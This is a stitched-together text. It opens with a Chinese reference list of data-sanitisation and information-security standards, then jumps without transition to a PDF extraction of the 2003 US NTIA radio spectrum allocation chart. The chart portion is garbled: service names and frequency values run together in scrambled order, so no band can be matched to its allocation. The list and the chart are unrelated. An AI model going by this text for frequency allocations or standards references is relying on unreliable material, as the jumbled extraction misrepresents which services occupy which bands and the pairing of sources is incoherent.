美国国防部 DoD 5220.22-M 国家工业安全计划操作手册(National Industrial Security Program Operating Manual,NISPOM) [6] 美国国防部所属国防保安处(Defense Security Service,DSS)提供数据清除与销毁方法参考矩阵 表(Clearing and Sanitization Matrix,C&SM) [7] GA/T 1143-2014《信息安全技术 数据销毁软件产品安全技术要求》 [8] BMB21-2007《涉及国家秘密的载体销毁与信息消除安全保密要求》 [9] GBT19710-2005《地理信息元数据》 [10] GB∕T 35274-2017 《信息安全技术 大数据服务安全能力要求》 [11]GB∕T 34977-2017《信息安全技术 移动智能终端数据存储安全技术要求与测试评价》 [12]YD/T 1699-2007《移动终端信息安全技术要求》 [13] GBT 22239-2008《信息安全技术 信息系统安全等级保护基本要求》
pdf
U . S. D E P A R T M E N T O F C O M M E R C E N A TI O N A L T E L E C O M M U N I C A T I O N S & I N F O R M A TI O N A D M I N IS T R A T I O N MOBILE (AERONAUTICAL TELEMETERING) S) 5.68 5.73 5.90 5.95 6.2 6.525 6.685 6.765 7.0 7.1 7.3 7.35 8.1 8.195 8.815 8.965 9.040 9.4 9.5 9.9 9.995 10.003 10.005 10.1 10.15 11.175 11.275 11.4 11.6 11.65 12.05 12.10 12.23 13.2 13.26 13.36 13.41 13.57 13.6 13.8 13.87 14.0 14.25 14.35 14.990 15.005 15.010 15.10 15.6 15.8 16.36 17.41 17.48 17.55 17.9 17.97 18.03 18.068 18.168 18.78 18.9 19.02 19.68 19.80 19.990 19.995 20.005 20.010 21.0 21.45 21.85 21.924 22.0 22.855 23.0 23.2 23.35 24.89 24.99 25.005 25.01 25.07 25.21 25.33 25.55 25.67 26.1 26.175 26.48 26.95 26.96 27.23 27.41 27.54 28.0 29.7 29.8 29.89 29.91 30.0 UNITED STATES THE RADIO SPECTRUM NON-GOVERNMENT EXCLUSIVE GOVERNMENT/ NON-GOVERNMENT SHARED GOVERNMENT EXCLUSIVE RADIO SERVICES COLOR LEGEND ACTIVITY CODE NOT ALLOCATED RADIONAVIGATION FIXED MARITIME MOBILE FIXED MARITIME MOBILE FIXED MARITIME MOBILE Radiolocation RADIONAVIGATION FIXED MARITIME MOBILE Radiolocation FIXED MARITIME MOBILE FIXED MARITIME MOBILE AERONAUTICAL RADIONAVIGATION AERONAUTICAL RADIONAVIGATION Aeronautical Mobile Maritime Radionavigation (Radio Beacons) MARITIME RADIONAVIGATION (RADIO BEACONS) Aeronautical Radionavigation (Radio Beacons) 3 9 14 19.95 20.05 30 30 59 61 70 90 110 130 160 190 200 275 285 300 3 kHz 300 kHz 300 kHz 3 MHz 3 MHz 30 MHz 30 MHz 300 MHz 3 GHz 300 GHz 300 MHz 3 GHz 30 GHz Aeronautical Radionavigation (Radio Beacons) MARITIME RADIONAVIGATION (RADIO BEACONS) Aeronautical Mobile Maritime Radionavigation (Radio Beacons) AERONAUTICAL RADIONAVIGATION (RADIO BEACONS) AERONAUTICAL RADIONAVIGATION (RADIO BEACONS) Aeronautical Mobile Aeronautical Mobile RADIONAVIGATION AERONAUTICAL RADIONAVIGATION MARITIME MOBILE Aeronautical Radionavigation MOBILE (DISTRESS AND CALLING) MARITIME MOBILE MARITIME MOBILE (SHIPS ONLY) MOBILE AERONAUTICAL RADIONAVIGATION (RADIO BEACONS) AERONAUTICAL RADIONAVIGATION (RADIO BEACONS) BROADCASTING (AM RADIO) MARITIME MOBILE (TELEPHONY) MARITIME MOBILE (TELEPHONY) MOBILE (DISTRESS AND CALLING) MARITIME MOBILE LAND MOBILE MOBILE FIXED STANDARD FREQ. AND TIME SIGNAL (2500kHz) STANDARD FREQ. AND TIME SIGNAL Space Research MARITIME MOBILE LAND MOBILE MOBILE FIXED AERONAUTICAL MOBILE (R) STANDARD FREQ. AERONAUTICAL MOBILE (R) AERONAUTICAL MOBILE (OR) AERONAUTICAL MOBILE (R) FIXED MOBILE** Radio- location FIXED MOBILE* AMATEUR FIXED FIXED FIXED FIXED FIXED MARITIME MOBILE MOBILE* MOBILE* MOBILE STANDARD FREQ. AND TIME SIGNAL (5000 KHZ) AERONAUTICAL MOBILE (R) AERONAUTICAL MOBILE (OR) STANDARD FREQ. Space Research MOBILE** AERONAUTICAL MOBILE (R) AERONAUTICAL MOBILE (OR) FIXED MOBILE* BROADCASTING MARITIME MOBILE AERONAUTICAL MOBILE (R) AERONAUTICAL MOBILE (OR) FIXED Mobile AMATEUR SATELLITE AMATEUR AMATEUR FIXED Mobile MARITIME MOBILE MARITIME MOBILE AERONAUTICAL MOBILE (R) AERONAUTICAL MOBILE (OR) FIXED BROADCASTING FIXED STANDARD FREQ. AND TIME SIGNAL (10,000 kHz) STANDARD FREQ. Space Research AERONAUTICAL MOBILE (R) AMATEUR FIXED Mobile* AERONAUTICAL MOBILE (R) AERONAUTICAL MOBILE (OR) FIXED FIXED BROADCASTING MARITIME MOBILE AERONAUTICAL MOBILE (R) AERONAUTICAL MOBILE (OR) RADIO ASTRONOMY Mobile* AMATEUR BROADCASTING AMATEUR AMATEUR SATELLITE Mobile* FIXED BROADCASTING STANDARD FREQ. AND TIME SIGNAL (15,000 kHz) STANDARD FREQ. Space Research FIXED AERONAUTICAL MOBILE (OR) MARITIME MOBILE AERONAUTICAL MOBILE (OR) AERONAUTICAL MOBILE (R) FIXED FIXED BROADCASTING STANDARD FREQ. Space Research FIXED MARITIME MOBILE Mobile FIXED AMATEUR AMATEUR SATELLITE BROADCASTING FIXED AERONAUTICAL MOBILE (R) MARITIME MOBILE FIXED FIXED FIXED Mobile* MOBILE** FIXED STANDARD FREQ. AND TIME SIGNAL (25,000 kHz) STANDARD FREQ. Space Research LAND MOBILE MARITIME MOBILE LAND MOBILE MOBILE** RADIO ASTRONOMY BROADCASTING MARITIME MOBILE LAND MOBILE FIXED MOBILE** FIXED MOBILE** MOBILE FIXED FIXED FIXED FIXED FIXED LAND MOBILE MOBILE** AMATEUR AMATEUR SATELLITE MOBILE LAND MOBILE MOBILE MOBILE FIXED FIXED MOBILE MOBILE FIXED FIXED LAND MOBILE LAND MOBILE LAND MOBILE LAND MOBILE Radio Astronomy RADIO ASTRONOMY LAND MOBILE FIXED FIXED MOBILE MOBILE MOBILE LAND MOBILE FIXED LAND MOBILE FIXED FIXED MOBILE MOBILE LAND MOBILE AMATEUR BROADCASTING (TV CHANNELS 2-4) FIXED MOBILE FIXED MOBILE FIXED MOBILE FIXED MOBILE AERONAUTICAL RADIONAVIGATION BROADCASTING (TV CHANNELS 5-6) BROADCASTING (FM RADIO) AERONAUTICAL RADIONAVIGATION AERONAUTICAL MOBILE (R) AERONAUTICAL MOBILE AERONAUTICAL MOBILE AERONAUTICAL MOBILE (R) AERONAUTICAL MOBILE (R) AERONAUTICAL MOBILE (R) MOBILE FIXED AMATEUR BROADCASTING (TV CHANNELS 7-13) MOBILE FIXED MOBILE FIXED MOBILE SATELLITE FIXED MOBILE SATELLITE MOBILE FIXED MOBILE SATELLITE MOBILE FIXED MOBILE AERONAUTICAL RADIONAVIGATION STD. FREQ. & TIME SIGNAL SAT. (400.1 MHz) MET. SAT. (S-E) SPACE RES. (S-E) Earth Expl. Satellite (E-S) MOBILE SATELLITE (E-S) FIXED MOBILE RADIO ASTRONOMY RADIOLOCATION Amateur LAND MOBILE Meteorological Satellite (S-E) LAND MOBILE BROADCASTING (TV CHANNELS 14 - 20) BROADCASTING (TV CHANNELS 21-36) TV BROADCASTING RADIO ASTRONOMY RADIOLOCATION FIXED Amateur AERONAUTICAL RADIONAVIGATION MOBILE** FIXED AERONAUTICAL RADIONAVIGATION Radiolocation Radiolocation MARITIME RADIONAVIGATION MARITIME RADIONAVIGATION Radiolocation Radiolocation Radiolocation RADIO- LOCATION RADIO- LOCATION Amateur AERONAUTICAL RADIONAVIGATION (Ground) RADIO- LOCATION Radio- location AERO. RADIO- NAV.(Ground) FIXED SAT. (S-E) RADIO- LOCATION Radio- location FIXED FIXED SATELLITE (S-E) FIXED AERONAUTICAL RADIONAVIGATION MOBILE FIXED MOBILE RADIO ASTRONOMY Space Research (Passive) AERONAUTICAL RADIONAVIGATION RADIO- LOCATION Radio- location RADIONAVIGATION Radiolocation RADIOLOCATION Radiolocation Radiolocation Radiolocation RADIOLOCATION RADIO- LOCATION MARITIME RADIONAVIGATION MARITIME RADIONAVIGATION METEOROLOGICAL AIDS Amateur Amateur FIXED FIXED SATELLITE (E-S) MOBILE FIXED SATELLITE (E-S) FIXED SATELLITE (E-S) MOBILE FIXED FIXED FIXED FIXED MOBILE FIXED SPACE RESEARCH (E-S) FIXED Fixed MOBILE SATELLITE (S-E) FIXED SATELLITE (S-E) FIXED SATELLITE (S-E) FIXED SATELLITE (S-E) FIXED SATELLITE (S-E) FIXED SATELLITE (E-S) FIXED SATELLITE (E-S) FIXED SATELLITE (E-S) FIXED SATELLITE (E-S) FIXED FIXED FIXED FIXED FIXED FIXED FIXED MET. SATELLITE (S-E) Mobile Satellite (S-E) Mobile Satellite (S-E) Mobile Satellite (E-S) (no airborne) Mobile Satellite (E-S)(no airborne) Mobile Satellite (S-E) Mobile Satellite (E-S) MOBILE SATELLITE (E-S) EARTH EXPL. SATELLITE(S-E) EARTH EXPL. SAT. (S-E) EARTH EXPL. SATELLITE (S-E) MET. SATELLITE (E-S) FIXED FIXED SPACE RESEARCH (S-E) (deep space only) SPACE RESEARCH (S-E) AERONAUTICAL RADIONAVIGATION RADIOLOCATION Radiolocation Radiolocation Radiolocation Radiolocation MARITIME RADIONAVIGATION Meteorological Aids RADIONAVIGATION RADIOLOCATION Radiolocation RADIO- LOCATION Radiolocation Radiolocation Amateur Amateur Amateur Satellite RADIOLOCATION FIXED FIXED FIXED FIXED FIXED SATELLITE (S-E) FIXED SATELLITE (S-E) Mobile ** SPACE RESEARCH (Passive) EARTH EXPL. SAT. (Passive) RADIO ASTRONOMY SPACE RESEARCH (Passive) EARTH EXPL. SATELLITE (Passive) RADIO ASTRONOMY BROADCASTING SATELLITE AERONAUTICAL RADIONAV. Space Research (E-S) Space Research Land Mobile Satellite (E-S) Radio- location RADIO- LOCATION RADIO NAVIGATION FIXED SATELLITE (E-S) Land Mobile Satellite (E-S) Land Mobile Satellite (E-S) Fixed Mobile FIXED SAT. (E-S) Fixed Mobile FIXED Mobile FIXED MOBILE Space Research Space Research Space Research SPACE RESEARCH (Passive) RADIO ASTRONOMY EARTH EXPL. SAT. (Passive) Radiolocation RADIOLOCATION Radiolocation FX SAT (E-S) FIXED SATELLITE (E-S) FIXED FIXED FIXED MOBILE EARTH EXPL. SAT. (Passive) MOBILE Earth Expl. Satellite (Active) Standard Frequency and Time Signal Satellite (E-S) Earth Exploration Satellite (S-S) MOBILE FIXED MOBILE FIXED Earth Exploration Satellite (S-S) FIXED MOBILE FIXED SAT (E-S) FIXED SATELLITE (E-S) MOBILE SATELLITE (E-S) FIXED SATELLITE (E-S) MOBILE SATELLITE (E-S) Standard Frequency and Time Signal Satellite (S-E) Stand. Frequency and Time Signal Satellite (S-E) FIXED MOBILE RADIO ASTRONOMY SPACE RESEARCH (Passive) EARTH EXPLORATION SAT. (Passive) RADIONAVIGATION RADIONAVIGATION INTER-SATELLITE RADIONAVIGATION RADIOLOCATION Radiolocation SPACE RE. .(Passive) EARTH EXPL. SAT. (Passive) FIXED MOBILE FIXED MOBILE FIXED MOBILE Mobile Fixed FIXED SATELLITE (S-E) BROAD- CASTING BCST SAT. FIXED MOBILE F X SAT(E-S) MOBILE FIXED EARTH EXPLORATION SATELLITE FI XED SATELLITE (E-S) MOBILE SATELLITE (E-S) MOBILE FIXED SPACE RESEARCH (Passive) EARTH EXPLORATION SATELLITE (Passive) EARTH EXPLORATION SAT. (Passive) SPACE RESEARCH (Passive) INTER- SATELLITE RADIO- LOCATION SPACE RESEARCH FIXED MOBILE FIXED MOBILE SATELLITE (E-S) MOBILE SATELLITE RADIO NAVIGATION RADIO- NAVIGATION SATELLITE EARTH EXPLORATION SATELLITE FIXED SATELLITE (E-S) MOBILE FIXED FIXED SATELLITE (E-S) AMATEUR AMATEUR SATELLITE AMATEUR AMATEUR SATELLITE Amateur Satellite Amateur RADIO- LOCATION MOBILE FIXED MOBILE SATELLITE (S-E) FIXED SATELLITE (S-E) MOBILE FIXED BROAD- CASTING SATELLITE BROAD- CASTING SPACE RESEARCH (Passive) RADIO ASTRONOMY EARTH EXPLORATION SATELLITE (Passive) MOBILE FIXED MOBILE FIXED RADIO- LOCATION FIXED SATELLITE (E-S) MOBILE SATELLITE RADIO- NAVIGATION SATELLITE RADIO- NAVIGATION Radio- location EARTH EXPL. SATELLITE (Passive) SPACE RESEARCH (Passive) FIXED FIXED SATELLITE (S-E) SPACE RESEARCH (Passive) RADIO ASTRONOMY EARTH EXPLORATION SATELLITE (Passive) FIXED MOBILE MOBILE INTER- SATELLITE RADIO- LOCATION INTER- SATELLITE Radio- location MOBILE MOBILE SATELLITE RADIO- NAVIGATION RADIO- NAVIGATION SATELLITE AMATEUR AMATEUR SATELLITE Amateur Amateur Satellite RADIO- LOCATION MOBILE FIXED FIXED SATELLITE (S-E) MOBILE FIXED FIXED SATELLITE (S-E) EARTH EXPLORATION SATELLITE (Passive) SPACE RES. (Passive) SPACE RES. (Passive) RADIO ASTRONOMY FIXED SATELLITE (S-E) FIXED MOBILE FIXED MOBILE FIXED MOBILE FIXED MOBILE FIXED MOBILE FIXED SPACE RESEARCH (Passive) RADIO ASTRONOMY EARTH EXPLORATION SATELLITE (Passive) EARTH EXPLORATION SAT. (Passive) SPACE RESEARCH (Passive) INTER- SATELLITE INTER- SATELLITE INTER- SATELLITE INTER- SATELLITE MOBILE MOBILE MOBILE MOBILE SATELLITE RADIO- NAVIGATION RADIO- NAVIGATION SATELLITE FIXED SATELLITE (E-S) FIXED FIXED EARTH EXPLORATION SAT. (Passive) SPACE RES. (Passive) SPACE RESEARCH (Passive) RADIO ASTRONOMY EARTH EXPLORATION SATELLITE (Passive) MOBILE FIXED MOBILE FIXED MOBILE FIXED FIXED SATELLITE (S-E) FIXED SATELLITE(S-E) FIXED SATELLITE (S-E) EARTH EXPL. SAT. (Passive) SPACE RES. (Passive) Radio- location Radio- location RADIO- LOCATION AMATEUR AMATEUR SATELLITE Amateur Amateur Satellite EARTH EXPLORATION SATELLITE (Passive) SPACE RES. (Passive) MOBILE MOBILE SATELLITE RADIO- NAVIGATION RADIO- NAVIGATION SATELLITE MOBILE MOBILE FIXED RADIO- ASTRONOMY FIXED SATELLITE (E-S) FIXED 3.0 3.025 3.155 3.230 3.4 3.5 4.0 4.063 4.438 4.65 4.7 4.75 4.85 4.995 5.003 5.005 5.060 5.45 MARITIME MOBILE AMATEUR AMATEUR SATELLITE FIXED Mobile MARITIME MOBILE STANDARD FREQUENCY & TIME SIGNAL (20,000 KHZ) Space Research AERONAUTICAL MOBILE (OR) AMATEUR SATELLITE AMATEUR MET. SAT. (S-E) MOB. SAT. (S-E) SPACE RES. (S-E) SPACE OPN. (S-E) MET. SAT. (S-E) Mob. Sat. (S-E) SPACE RES. (S-E) SPACE OPN. (S-E) MET. SAT. (S-E) MOB. SAT. (S-E) SPACE RES. (S-E) SPACE OPN. (S-E) MET. SAT. (S-E) Mob. Sat. (S-E) SPACE RES. (S-E) SPACE OPN. (S-E) MOBILE FIXED FIXED Land Mobile FIXED MOBILE LAND MOBILE LAND MOBILE MARITIME MOBILE MARITIME MOBILE MARITIME MOBILE MARITIME MOBILE LAND MOBILE FIXED MOBILE MOBILE SATELLITE (E-S) Radiolocation Radiolocation LAND MOBILE AMATEUR MOBILE SATELLITE (E-S) RADIONAVIGATION SATELLITE MET. AIDS (Radiosonde) METEOROLOGICAL AIDS (RADIOSONDE) SPACE RESEARCH (S-S) FIXED MOBILE LAND MOBILE FIXED LAND MOBILE FIXED FIXED RADIO ASTRONOMY RADIO ASTRONOMY METEOROLOGICAL AIDS (RADIOSONDE) METEOROLOGICAL AIDS (Radiosonde) METEOROLOGICAL SATELLITE (s-E) Fixed FIXED MET. SAT. (s-E) FIXED FIXED AERONAUTICAL MOBILE SATELLITE (R) (space to Earth) AERONAUTICAL RADIONAVIGATION RADIONAV. SATELLITE (Space to Earth) AERONAUTICAL MOBILE SATELLITE (R) (space to Earth) Mobile Satellite (S- E) RADIO DET. SAT. (E-S) MOBILESAT(E-S) AERO. RADIONAVIGATION AERO. RADIONAV. AERO. RADIONAV. RADIO DET. SAT. (E-S) RADIO DET. SAT. (E-S) MOBILE SAT. (E-S) MOBILE SAT. (E-S) Mobile Sat. (S-E) RADIO ASTRONOMY RADIO ASTRONOMY MOBILE SAT. (E-S) FIXED MOBILE FIXED FIXED (LOS) MOBILE (LOS) SPACE RESEARCH (s-E)(s-s) SPACE OPERATION (s-E)(s-s) EARTH EXPLORATION SAT. (s-E)(s-s) Amateur MOBILE Fixed RADIOLOCATION AMATEUR RADIO ASTRON. SPACE RESEARCH EARTH EXPL SAT FIXED SAT. (S-E) FIXED MOBILE FIXED SATELLITE (S-E) FIXED MOBILE FIXED SATELLITE (E-S) FIXED SATELLITE (E-S) MOBILE FIXED SPACE RESEARCH (S-E) (Deep Space) AERONAUTICAL RADIONAVIGATION EARTH EXPL. SAT. (Passive) 300 325 335 405 415 435 495 505 510 525 535 1605 1615 1705 1800 1900 2000 2065 2107 2170 2173.5 2190.5 2194 2495 2501 2502 2505 2850 3000 RADIO- LOCATION BROADCASTING FIXED MOBILE AMATEUR RADIOLOCATION MOBILE FIXED MARITIME MOBILE MARITIME MOBILE (TELEPHONY) MARITIME MOBILE LAND MOBILE MOBILE FIXED 30.0 30.56 32.0 33.0 34.0 35.0 36.0 37.0 37.5 38.0 38.25 39.0 40.0 42.0 43.69 46.6 47.0 49.6 50.0 54.0 72.0 73.0 74.6 74.8 75.2 75.4 76.0 88.0 108.0 117.975 121.9375 123.0875 123.5875 128.8125 132.0125 136.0 137.0 137.025 137.175 137.825 138.0 144.0 146.0 148.0 149.9 150.05 150.8 152.855 154.0 156.2475 157.0375 157.1875 157.45 161.575 161.625 161.775 162.0125 173.2 173.4 174.0 216.0 220.0 222.0 225.0 235.0 300 ISM – 6.78 ± .015 MHz ISM – 13.560 ± .007 MHz ISM – 27.12 ± .163 MHz ISM – 40.68 ± .02 MHz ISM – 24.125 ± 0.125 GHz 30 GHz ISM – 245.0 ± 1GHz ISM – 122.5 ± .500 GHz ISM – 61.25 ± .250 GHz 300.0 322.0 328.6 335.4 399.9 400.05 400.15 401.0 402.0 403.0 406.0 406.1 410.0 420.0 450.0 454.0 455.0 456.0 460.0 462.5375 462.7375 467.5375 467.7375 470.0 512.0 608.0 614.0 698 746 764 776 794 806 821 824 849 851 866 869 894 896 901901 902 928 929 930 931 932 935 940 941 944 960 1215 1240 1300 1350 1390 1392 1395 2000 2020 2025 2110 2155 2160 2180 2200 2290 2300 2305 2310 2320 2345 2360 2385 2390 2400 2417 2450 2483.5 2500 2655 2690 2700 2900 3000 1400 1427 1429.5 1430 1432 1435 1525 1530 1535 1544 1545 1549.5 1558.5 1559 1610 1610.6 1613.8 1626.5 1660 1660.5 1668.4 1670 1675 1700 1710 1755 1850 MARITIME MOBILE SATELLITE (space to Earth) MOBILE SATELLITE (S-E) RADIOLOCATION RADIONAVIGATION SATELLITE (S-E) RADIOLOCATION Amateur Radiolocation AERONAUTICAL RADIONAVIGATION SPA CE RESEARCH ( Passive) EARTH EXPL SAT (Passive) RADIO ASTRONOMY MOBILE MOBILE ** FIXED-SAT (E-S) FIXED FIXED FIXED** LAND MOBILE (TLM) MOBILE SAT. (Space to Earth) MARITIME MOBILE SAT. (Space to Earth) Mobile (Aero. TLM) MOBILE SATELLITE (S-E) MOBILE SATELLITE (Space to Earth) AERONAUTICAL MOBILE SATELLITE (R) (space to Earth) 3.0 3.1 3.3 3.5 3.6 3.65 3.7 4.2 4.4 4.5 4.8 4.94 4.99 5.0 5.15 5.25 5.35 5.46 5.47 5.6 5.65 5.83 5.85 5.925 6.425 6.525 6.70 6.875 7.025 7.075 7.125 7.19 7.235 7.25 7.30 7.45 7.55 7.75 7.90 8.025 8.175 8.215 8.4 8.45 8.5 9.0 9.2 9.3 9.5 10.0 10.45 10.5 10.55 10.6 10.68 10.7 11.7 12.2 12.7 12.75 13.25 13.4 13.75 14.0 14.2 14.4 14.47 14.5 14.7145 15.1365 15.35 15.4 15.43 15.63 15.7 16.6 17.1 17.2 17.3 17.7 17.8 18.3 18.6 18.8 19.3 19.7 20.1 20.2 21.2 21.4 22.0 22.21 22.5 22.55 23.55 23.6 24.0 24.05 24.25 24.45 24.65 24.75 25.05 25.25 25.5 27.0 27.5 29.5 29.9 30.0 ISM – 2450.0 ± 50 MHz 30.0 31.0 31.3 31.8 32.0 32.3 33.0 33.4 36.0 37.0 37.6 38.0 38.6 39.5 40.0 40.5 41.0 42.5 43.5 45.5 46.9 47.0 47.2 48.2 50.2 50.4 51.4 52.6 54.25 55.78 56.9 57.0 58.2 59.0 59.3 64.0 65.0 66.0 71.0 74.0 75.5 76.0 77.0 77.5 78.0 81.0 84.0 86.0 92.0 95.0 100.0 102.0 105.0 116.0 119.98 120.02 126.0 134.0 142.0 144.0 149.0 150.0 151.0 164.0 168.0 170.0 174.5 176.5 182.0 185.0 190.0 200.0 202.0 217.0 231.0 235.0 238.0 241.0 248.0 250.0 252.0 265.0 275.0 300.0 ISM – 5.8 ± .075 GHz ISM – 915.0 ± 13 MHz INTER-SATELLITE RADIOLOCATION SATELLITE (E-S) AERONAUTICAL RADIONAV. PLEASE NOTE: THE SPACING ALLOTTED THE SERVICES IN THE SPEC- TRUM SEGMENTS SHOWN IS NOT PROPORTIONAL TO THE ACTUAL AMOUNT OF SPECTRUM OCCUPIED. AERONAUTICAL MOBILE AERONAUTICAL MOBILE SATELLITE AERONAUTICAL RADIONAVIGATION AMATEUR AMATEUR SATELLITE BROADCASTING BROADCASTING SATELLITE EARTH EXPLORATION SATELLITE FIXED FIXED SATELLITE INTER-SATELLITE LAND MOBILE LAND MOBILE SATELLITE MARITIME MOBILE MARITIME MOBILE SATELLITE MARITIME RADIONAVIGATION METEOROLOGICAL AIDS METEOROLOGICAL SATELLITE MOBILE MOBILE SATELLITE RADIO ASTRONOMY RADIODETERMINATION SATELLITE RADIOLOCATION RADIOLOCATION SATELLITE RADIONAVIGATION RADIONAVIGATION SATELLITE SPACE OPERATION SPACE RESEARCH STANDARD FREQUENCY AND TIME SIGNAL STANDARD FREQUENCY AND TIME SIGNAL SATELLITE RADIO ASTRONOMY FIXED MARITIME MOBILE FIXED MARITIME MOBILE Aeronautical Mobile STANDARD FREQ. AND TIME SIGNAL (60 kHz) FIXED Mobile* STAND. FREQ. & TIME SIG. MET. AIDS (Radiosonde) Space Opn. (S-E) MOBILE. SAT. (S-E) Fixed Standard Freq. and Time Signal Satellite (E-S) FIXED STANDARD FREQ. AND TIME SIGNAL (20 kHz) Amateur MOBILE FIXED SAT. (E-S) Space Research ALLOCATION USAGE DESIGNATION SERVICE EXAMPLE DESCRIPTION Primary FIXED Capital Letters Secondary Mobile 1st Capital with lower case letters U.S. DEPARTMENT OF COMMERCE National Telecommunications and Information Administration Office of Spectrum Management October 2003 MOBILE BROADCASTING TRAVELERS INFORMATION STATIONS (G) AT 1610 kHz 59-64 GHz IS DESIGNATED FOR UNLICENSED DEVICES Fixed AERONAUTICAL RADIONAVIGATION SPACE RESEARCH (Passive) * EXCEPT AERO MOBILE (R) ** EXCEPT AERO MOBILE WAVELENGTH BAND DESIGNATIONS ACTIVITIES FREQUENCY 3 x 107m 3 x 106m 3 x 105m 30,000 m 3,000 m 300 m 30 m 3 m 30 cm 3 cm 0.3 cm 0.03 cm 3 x 105Å 3 x 104Å 3 x 103Å 3 x 102Å 3 x 10Å 3Å 3 x 10-1Å 3 x 10-2Å 3 x 10-3Å 3 x 10-4Å 3 x 10-5Å 3 x 10-6Å 3 x 10-7Å 0 10 Hz 100 Hz 1 kHz 10 kHz 100 kHz 1 MHz 10 MHz 100 MHz 1 GHz 10 GHz 100 GHz 1 THz 1013Hz 1014Hz 1015Hz 1016Hz 1017Hz 1018Hz 1019Hz 1020Hz 1021Hz 1022Hz 1023Hz 1024Hz 1025Hz THE RADIO SPECTRUM MAGNIFIED ABOVE 3 kHz 300 GHz VERY LOW FREQUENCY (VLF) Audible Range AM Broadcast FM Broadcast Radar Sub-Millimeter Visible Ultraviolet Gamma-ray Cosmic-ray Infra-sonics Sonics Ultra-sonics Microwaves Infrared P L S X C Radar Bands LF MF HF VHF UHF SHF EHF INFRARED VISIBLE ULTRAVIOLET X-RAY GAMMA-RAY COSMIC-RAY X-ray ALLOCATIONS FREQUENCY BROADCASTING FIXED MOBILE* BROADCASTING FIXED BROADCASTING FIXED Mobile FIXED BROADCASTING BROADCASTING FIXED FIXED BROADCASTING FIXED BROADCASTING FIXED BROADCASTING FIXED BROADCASTING FIXED BROADCASTING FIXED BROADCASTING FIXED FIXED FIXED FIXED FIXED FIXED LAND MOBILE FIXED AERONAUTICAL MOBILE (R) AMATEUR SATELLITE AMATEUR MOBILE SATELLITE (E-S) F I X E D F i x e d M o b i l e R a d i o - l o c a t i o n F I X E D M O B I L E LAND MOBILE MARITIME MOBILE FIXED LAND MOBILE FIXED LAND MOBILE RADIONAV-SATELLITE FIXED MOBILE FIXED LAND MOBILE MET. AIDS (Radio- sonde) SPACE OPN. (S-E) Earth Expl Sat (E-S) Met-Satellite (E-S) MET-SAT. (E-S) EARTH EXPL SAT. (E-S) Earth Expl Sat (E-S) Met-Satellite (E-S) EARTH EXPL SAT. (E-S) MET-SAT. (E-S) LAND MOBILE LAND MOBILE FIXED LAND MOBILE FIXED FIXED FIXED LAND MOBILE LAND MOBILE FIXED LAND MOBILE LAND MOBILE LAND MOBILE LAND MOBILE MOBILE FIXED MOBILE FIXED BROADCAST MOBILE FIXED MOBILE FIXED FIXED LAND MOBILE LAND MOBILE FIXED LAND MOBILE AERONAUTICAL MOBILE AERONAUTICAL MOBILE FIXED LAND MOBILE LAND MOBILE LAND MOBILE FIXED LAND MOBILE FIXED MOBILE FIXED FIXED FIXED MOBILE FIXED FIXED FIXED BROADCAST LAND MOBILE LAND MOBILE FIXED LAND MOBILE METEOROLOGICAL AIDS FX E-Expl Sat Radio Ast Space res. FIXED MOBILE** MOBILE SATELLITE (S-E) RADIODETERMINATION SAT. (S-E) Radiolocation MOBILE FIXED Amateur Radiolocation AMATEUR FIXED MOBILE B-SAT FX MOB Fixed Mobile Radiolocation RADIOLOCATION MOBILE ** Fixed (TLM) LAND MOBILE FIXED (TLM) LAND MOBILE (TLM) FIXED-SAT (S-E) FIXED (TLM) MOBILE MOBILE SAT. (Space to Earth) Mobile ** MOBILE** FIXED MOBILE MOBILE SATELLITE (E-S) SPACE OP. (E-S)(s-s) EARTH EXPL. SAT. (E-S)(s-s) SPACE RES. (E-S)(s-s) FX. MOB. MOBILE FIXED Mobile R- LOC. BCST-SATELLITE Fixed Radio- location R- LOC. B-SAT FX MOB Fixed Mobile Radiolocation FIXED MOBILE** Amateur RADIOLOCATION SPACE RES..(S-E) MOBILE FIXED MOBILE SATELLITE (S-E) MARITIME MOBILE Mobile FIXED FIXED BROADCAST MOBILE FIXED MOBILE SATELLITE (E-S) FIXED FIXED MARITIME MOBILE FIXED FIXED MOBILE** FIXED MOBILE** FIXED SAT (S-E) AERO. RADIONAV. FIXED SATELLITE (E-S) Amateur- sat (s-e) Amateur MOBILE FIXED SAT(E-S) FIXED FIXED SATELLITE (S-E)(E-S) FIXED FIXED SAT (E-S) MOBILE Radio- location RADIO- LOCATION FIXED SAT.(E-S) Mobile** Fixed Mobile FX SAT.(E-S) L M Sat(E-S) AERO RADIONAV FIXED SAT (E-S) AERONAUTICAL RADIONAVIGATION RADIOLOCATION Space Res.(act.) RADIOLOCATION Radiolocation Radioloc. RADIOLOC. Earth Expl Sat Space Res. Radiolocation BCST SAT. FIXED FIXED SATELLITE (S-E) FIXED SATELLITE (S-E) EARTH EXPL. SAT. FX SAT (S-E) SPACE RES. FIXED SATELLITE (S-E) FIXED SATELLITE (S-E) FIXED SATELLITE (S-E) MOBILE SAT. (S-E) FX SAT (S-E) MOBILE SATELLITE (S-E) FX SAT (S-E) STD FREQ. & TIME MOBILE SAT (S-E) MOBILE EARTH EXPL. SAT. FIXED SPACE RES. FIXED MOBILE MOBILE** FIXED FIXED EARTH EXPL. SAT. SPACE RAD.AST MOBILE** RES. FIXED MOBILE INTER-SATELLITE FIXED RADIO ASTRONOMY SPACE RES. (Passive) AMATEUR AMATEUR SATELLITE Radio- location Amateur RADIO- LOCATION Earth Expl. Satellite (Active) FIXED INTER-SATELLITE RADIONAVIGATION RADIOLOCATION SATELLITE (E-S) INTER-SATELLITE FIXED SATELLITE (E-S) RADIONAVIGATION FIXED SATELLITE (E-S) FIXED MOBILE SATELLITE (E-S) FIXED SATELLITE (E-S) MOBILE FIXED Earth Exploration Satellite (S-S) std freq & time e-e-sat (s-s) MOBILE FIXED e-e-sat MOBILE SPACE RESEARCH (deep space) RADIONAVIGATION INTER- SAT SPACE RES. FIXED MOBILE SPACE RESEARCH (space-to-Earth) SPACE RES. FIXED SAT. (S-E) MOBILE FIXED FIXED-SATELLITE MOBILE FIXED FIXED SATELLITE MOBILE SAT. FIXED SAT MOBILE SAT. EARTH EXPL SAT (E-S) Earth Expl. Sat (s - e) SPACE RES. (E-S) FX-SAT (S-E) FIXED MOBILE BROAD- CASTING BCST SAT. RADIO ASTRONOMY FIXED MOBILE** FIXED SATELLITE (E-S) MOBILE SATELLITE (E-S) FIXED SATELLITE (E-S) MOBILE RADIONAV. SATELLITE FIXED MOBILE MOB. SAT(E-S) RADIONAV.SAT. MOBILE SAT (E-S). FIXED MOBILE F X SAT(E-S) MOBILE FIXED INTER- SAT EARTH EXPL-SAT (Passive) SPACE 